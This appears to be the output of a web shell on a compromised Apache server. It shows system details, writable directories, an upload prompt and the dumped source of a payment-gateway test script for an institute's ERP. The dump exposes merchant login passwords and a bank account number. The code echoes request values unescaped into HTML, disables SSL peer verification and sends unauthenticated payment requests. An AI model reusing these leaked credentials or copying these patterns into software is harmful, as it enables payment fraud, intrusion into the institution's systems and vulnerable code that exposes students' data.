Sh3ll
OdayForums


Server : Apache
System : Linux profile 3.10.0-1160.88.1.el7.x86_64 #1 SMP Tue Mar 7 15:41:52 UTC 2023 x86_64
User : apache ( 48)
PHP Version : 8.0.28
Disable Function : NONE
Directory :  /var/www/html/mmishra/erp19-7-2019/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/html/mmishra/erp19-7-2019/atompg.php
<html>
<body>
<?php

if ($_REQUEST['proceed'] == 1) {

	foreach ($_REQUEST as $key => $value) {
		$queryString .= $key . '=' .$value. '&';
	}

	$processPayment = new ProcessPayment();
	$processPayment->requestMerchant();

}

$clientcode 	= $_REQUEST['clientcode']; 		//rollno	
$udf1 			= $_REQUEST['udf1']; 			//name
$udf2 			= $_REQUEST['udf2']; 			//email
$udf3 			= $_REQUEST['udf3']; 			//mobile
$udf4 			= $_REQUEST['udf4']; 			//program
$udf5 			= $_REQUEST['udf5']; 			//batch
$udf9 			= $_REQUEST['udf9']; 			//semester
$amount			= $_REQUEST['amount']; 			//amount

if ($_POST['submit'] == 'TEST') {	

	foreach ($_REQUEST as $key => $value) {
		$queryString .= $key . '=' .$value. '&';
	}
	echo $queryString;
	echo "<h3><a href='https://erp.iiita.ac.in/atom.php?" .$queryString. "proceed=1'>Preceed</a></h3>";
}

if ($_REQUEST['f_code']) {
	$mmp_txn 		= $_REQUEST['mmp_txn']; 	//atom transaction id
	$mer_txn 		= $_REQUEST['mer_txn']; 	//merchant transaction id
	$amt 			= $_REQUEST['amt']; 		//amount
	$surcharge 		= $_REQUEST['surcharge']; 	//surcharge
	$prodid 		= $_REQUEST['prodid']; 		//product id
	$date 			= $_REQUEST['date']; 		//date & time stampt of the transaction
	$bank_txn 		= $_REQUEST['bank_txn']; 	//bank transaction id
	$f_code 		= $_REQUEST['f_code']; 		//status code, OK on success or F
	$status 		= ($f_code == 'Ok' ? 'Success' : 'Failed');

	$clientcode		= $_REQUEST['clientcode']; 	//rollno
	$bank_name 		= $_REQUEST['bank_name'];
	$discriminator 	= $_REQUEST['discriminator']; //payment channel
	$CardNumber 	= $_REQUEST['CardNumber'];
}

?>
<h2>ATOM Test</h2>
<form method='POST' action='atompg.php' enctype='multipart/form-data'>

<table width='80%' border='1'>

<?php

echo "<tr><td>Program</td><td><input type='text' name='udf4' value='$udf4' size='20'></td></tr>
<tr><td>Batch</td><td><input type='text' name='udf5' value='$udf5' size='20'></td></tr>
<tr><td>Semester</td><td><input type='text' name='udf9' value='$udf9' size='20'></td></tr>
<tr><td>Roll No.</td><td><input name='clientcode' type='text' value='$clientcode' size='20'></td></tr>
<tr><td>Name</td><td><input name='udf1' type='text' value='$udf1' size='20'></td></tr>
<tr><td>Mobile No.</td><td><input name='udf3' type='text' value='$udf3' size='20'></td></tr>
<tr><td>Email</td><td><input name='udf2' type='text' value='$udf2' size='20'></td></tr>
<tr><td>Fee Amount</td><td><input type='text' name='amount' value='$amount' size='20'></td></tr>";
?>
<tr><th colspan='2'><input type='submit' name='submit' value='TEST'></th></tr>
</table>

<input type='hidden' name='product' value='IIIT'>
<input type='hidden' name='TType' value='NBFundTransfer'>
<input type='hidden' name='AccountNo' value='0627101019766'>
<input type='hidden' name='ru' value='https://erp.iiita.ac.in/canara/StatusTRAN.php'><br>
<input type='hidden' name='bookingid' value='100001'>

</form>
</body>
</html>


<?php
class payment_config_test {
	var $Url 			= "https://paynetzuat.atomtech.in/paynetz/epi/fts";
	var $Login			= "160";
	var $Password		= "Test@123";
	//var $MerchantName	= "ATOM";
	var $MerchantName	= "NSE";
	var $TxnCurr		= "INR";
	var $TxnScAmt		= "0";
}

class payment_config {
	var $Url 			= "https://payment.atomtech.in/paynetz/epi/fts";
	var $Login			= "18589";
	var $Password		= "IIIT@123";
	var $MerchantName	= "IIIT";
	var $TxnCurr		= "INR";
	var $TxnScAmt		= "0";
}

class payment {
	var $url = null;

	function sendInfo($data){
		$ch = curl_init();

		curl_setopt($ch, CURLOPT_URL, $this->url);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
		curl_setopt($ch, CURLOPT_POST, 1);
		curl_setopt($ch, CURLOPT_PORT , 443); 
		//curl_setopt($ch, CURLOPT_SSLVERSION,3);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2);
		curl_setopt($ch, CURLOPT_POSTFIELDS, $data);

		$returnData = curl_exec($ch);

		curl_close($ch);
			return $returnData;
	}
}

class ProcessPayment {
	function __construct() {
		$this->paymentConfig = new payment_config();
	}

	function requestMerchant() {
		$payment 		= new payment();
		$datenow 		= date("d/m/Y h:m:s");
		$modifiedDate 	= str_replace(" ", "%20", $datenow);
		$payment->url 	= $this->paymentConfig->Url;
		$postFields  	= "";
		$postFields 	.= "&login=".$this->paymentConfig->Login;
		$postFields 	.= "&pass=".$this->paymentConfig->Password;
		$postFields 	.= "&ttype=".$_REQUEST['TType'];
		$postFields 	.= "&prodid=".$_REQUEST['product'];
		$postFields 	.= "&amt=".$_REQUEST['amount'];
		$postFields 	.= "&txncurr=".$this->paymentConfig->TxnCurr;
		$postFields 	.= "&txnscamt=".$this->paymentConfig->TxnScAmt;
		$postFields 	.= "&clientcode=".urlencode(base64_encode($_REQUEST['clientcode']));//rollno
		$postFields 	.= "&txnid=".rand(0,999999);
		$postFields 	.= "&date=".$modifiedDate;
		$postFields 	.= "&custacc=".$_REQUEST['AccountNo'];
		//$postFields 	.= "&ru=".$_REQUEST['ru'];
		$postFields 	.= "&ru=https://ipay.iiita.ac.in/canara/StatusTRAN.php";
		$postFields 	.= "&udf1=".$_REQUEST['udf1']; //name
		$postFields 	.= "&udf2=".$_REQUEST['udf2']; //email
		$postFields 	.= "&udf3=".$_REQUEST['udf3']; //mobile
		$postFields 	.= "&udf4=".$_REQUEST['udf4']; //program
		$postFields 	.= "&udf5=".$_REQUEST['udf5']; //batch
		$postFields 	.= "&udf9=".$_REQUEST['udf9']; //semester
		// Not required for merchant
		//$postFields 	.= "&bankid=".$_REQUEST['bankid'];

		$sendUrl 		= $payment->url."?".substr($postFields,1)."\n";

		$this->writeLog($sendUrl);

		$returnData 	= $payment->sendInfo($postFields);
		$this->writeLog($returnData."\n");
		$xmlObjArray 	= $this->xmltoarray($returnData);

		$url 			= $xmlObjArray['url'];
		$postFields  	= "";
		$postFields 	.= "&ttype=".$_REQUEST['TType'];
		$postFields 	.= "&tempTxnId=".$xmlObjArray['tempTxnId'];
		$postFields 	.= "&token=".$xmlObjArray['token'];
		$postFields 	.= "&txnStage=1";
		$url 			= $payment->url."?".$postFields;
		$this->writeLog($url."\n");

		header("Location: ".$url);
	}

	function writeLog($data){
		$fileName = date("Y-m-d").".txt";
		$fp = fopen("log/".$fileName, 'a+');
		$data = date("Y-m-d H:i:s")." - ".$data;
		fwrite($fp,$data);
		fclose($fp);
	}

	function xmltoarray($data){
		$parser = xml_parser_create('');
		xml_parser_set_option($parser, XML_OPTION_TARGET_ENCODING, "UTF-8");
		xml_parser_set_option($parser, XML_OPTION_CASE_FOLDING, 0);
		xml_parser_set_option($parser, XML_OPTION_SKIP_WHITE, 1);
		xml_parse_into_struct($parser, trim($data), $xml_values);
		xml_parser_free($parser);

		$returnArray = array();
		$returnArray['url'] = $xml_values[3]['value'];
		$returnArray['tempTxnId'] = $xml_values[5]['value'];
		$returnArray['token'] = $xml_values[6]['value'];

		return $returnArray;
	}
}

?>

ZeroDay Forums Mini